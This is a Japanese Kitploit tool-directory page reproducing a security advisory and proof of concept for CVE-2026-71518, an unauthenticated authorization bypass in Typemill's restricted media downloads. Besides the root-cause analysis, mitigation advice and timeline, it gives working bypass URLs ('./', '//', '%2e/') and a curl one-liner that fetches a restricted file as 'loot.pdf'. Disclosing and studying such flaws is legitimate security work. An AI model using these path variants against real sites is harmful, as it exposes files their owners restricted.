Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-71518 — Typemill メディアダウンロードにおける未認証の認可バイパスに関するアドバイザリと、パス等価の URL バリアントを使用してロール制限付きファイルにアクセスする PoC。 | Kitploit
ツール/GitHubGitHub/ilhomjonr/cve-2026-71518
認証と認可脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubilhomjonr/cve-2026-71518

CVE-2026-71518

Typemill メディアダウンロードにおける未認証の認可バイパスに関するアドバイザリと、パス等価の URL バリアントを使用してロール制限付きファイルにアクセスする PoC。

リポジトリを見る
1423日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-71518 — Typemill の未認証認可バイパス

パス等価な URL バリアントがロール制限付きメディアのダウンロードをバイパス

制限は生のリクエストパスに基づいて判定される一方、ファイルは OS 解決後のパスから読み込まれる — その2つは一致しない

CVE CVSS 3.1 CVSS 4.0 CWE

Product Status Researcher

概要 · サマリー · 根本原因 · 攻撃チェーン · エクスプロイト · 対策 · タイムライン


📋 概要


🔎 サマリー

Typemill では、管理者が media/files/filerestrictions.yaml を通じて個々のメディアファイルを特定のユーザーロールに制限できます。公開ダウンロードルートはその制限を尊重するはずですが、ファイルシステム解決後のパスからバイトを配信する一方で、制限のチェックは生のリクエストパスに対して行われます。同じファイルには多くのパス等価な表記(./name、//name、%2e/name)が存在するため、攻撃者は制限キーに一致しないもののディスク上では同じファイルに解決されるバリアントを選択します。

このルートには認証ミドルウェアが一切ないため、結果として、ロールに明示的にロックされたファイルが完全に未認証でダウンロード可能になります。


🧬 根本原因

ダウンロードルートは公開されています — 認証ミドルウェアはありません:

root@kitploit:~
// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');

system/typemill/Controllers/ControllerWebDownload.php 内では、アクセス制御の判定とファイル読み込みが同じパスの2つの異なる表現を使用しています:

root@kitploit:~
// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
    // ... enforce role restriction (redirect to login if not allowed)
}

// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);

validate() はリテラルな .. シーケンスのみを拒否します — ./ や // を正規化せず、パーセントエンコードされた同等表現も拒否しません。そのため、制限キーと実際に読み込まれるファイルの同期が崩れます:

このバグは、*「認可判定とリソースアクセスが、攻撃者が制御可能な異なる文字列に基づいて行われる」*という古典的なパターン(CWE-639/CWE-863)です。$_SERVER['REQUEST_URI'] は Apache 環境でも生のまま保持されるため、特定のサーバーに限った問題ではありません。


⛓️ 攻撃チェーン

root@kitploit:~
flowchart LR
    A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
    B --> C{Restriction key<br/>matches raw path?}
    C -->|yes| D[302 → login<br/>🔒 blocked]
    A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
    E --> F{Restriction key<br/>matches raw path?}
    F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
    G --> H[200 OK<br/>🟢 file leaked]
  1. 管理者がプライベートファイルをアップロードし、filerestrictions.yaml で特定のロールに制限します。
  2. 正規の URL は匿名ユーザーに対して正しくブロックされます。
  3. 攻撃者がパス等価なバリアントをリクエストします → 制限キーが一致せず、ファイルは依然として解決されます → 認証情報なしでダウンロードが成功します。

💥 エクスプロイト

exploit/exploit.py は、ローカルのテストコンテナに対してこの問題をエンドツーエンドで再現します。(1) 「admin」が editor ロールに制限されたプライベートファイルを配置し、(2) 正規の URL が匿名ユーザーに対してブロックされることを確認し、(3) 各パス等価バリアントを通じて同じファイルをダウンロードします。

root@kitploit:~
# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py

期待される出力:

root@kitploit:~
[CONTROL] GET /media/files/secret.pdf            -> http=302  (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf          -> http=200  leaked=True
[BYPASS ] GET /media/files//secret.pdf           -> http=200  leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf        -> http=200  leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)

脆弱なホストに対するワンライナー(許可されたテストのみ):

root@kitploit:~
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

PoC evidence


🛠️ 対策

  • Typemill 2.26.0 以降にアップグレードしてください。
  • 正しい修正方法は、リクエストパスを一度正規化/正規形に揃え、その単一の正規値を制限のルックアップとファイル読み込みの両方に使用することです — これにより、アクセス制御キーと配信されるリソースが決して不一致にならなくなります。
  • 多層防御:読み込み前に realpath() で解決し、メディアのベースディレクトリ配下に収まっていることを確認し、パーセントエンコードされたパス区切り文字を拒否します。

🗓️ タイムライン

日付イベント
2026-08-04Typemill 2.25.0 で脆弱性を発見。Docker 上で PoC をエンドツーエンドで検証
2026-08-04メンテナー / VulnCheck に報告
—Typemill で修正

📚 参考情報

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71518
  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-71518
  • Fixed release: https://github.com/typemill/typemill/releases/tag/v2.26.0

許可されたセキュリティテストおよび教育目的のみに使用してください。© @IlhomjonR

ツールをダウンロード
CVE IDCVE-2026-71518
製品typemill/typemill — Typemill(フラットファイル PHP CMS、Slim 4)
影響を受けるバージョン全バージョン < 2.26.0(2.25.0、コミット 8f3901c で検証)
修正バージョン2.26.0
脆弱性の種類CWE-863(不正な認可)· CWE-639(ユーザー制御キーによる認可バイパス)
CVSS v3.17.5 — High · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS v4.08.7 — High
攻撃条件ネットワーク · 認証不要 · ユーザー操作不要
影響管理者が特権ロールに制限したメディアファイルの未認証ダウンロード
研究者Ilhomjon Rustamov (@IlhomjonR)
リクエストパス制限キーに一致?ディスク上で解決されるファイル結果
/media/files/secret.pdf✅ 一致secret.pdf🔒 ブロック (302 → ログイン)
/media/files/./secret.pdf❌ 不一致secret.pdf🟢 配信 (200)
/media/files//secret.pdf❌ 不一致secret.pdf🟢 配信 (200)
/media/files/%2e/secret.pdf❌ 不一致secret.pdf🟢 配信 (200)
2.26.0
2026-08-18CVE-2026-71518 公開。アドバイザリ + PoC をリリース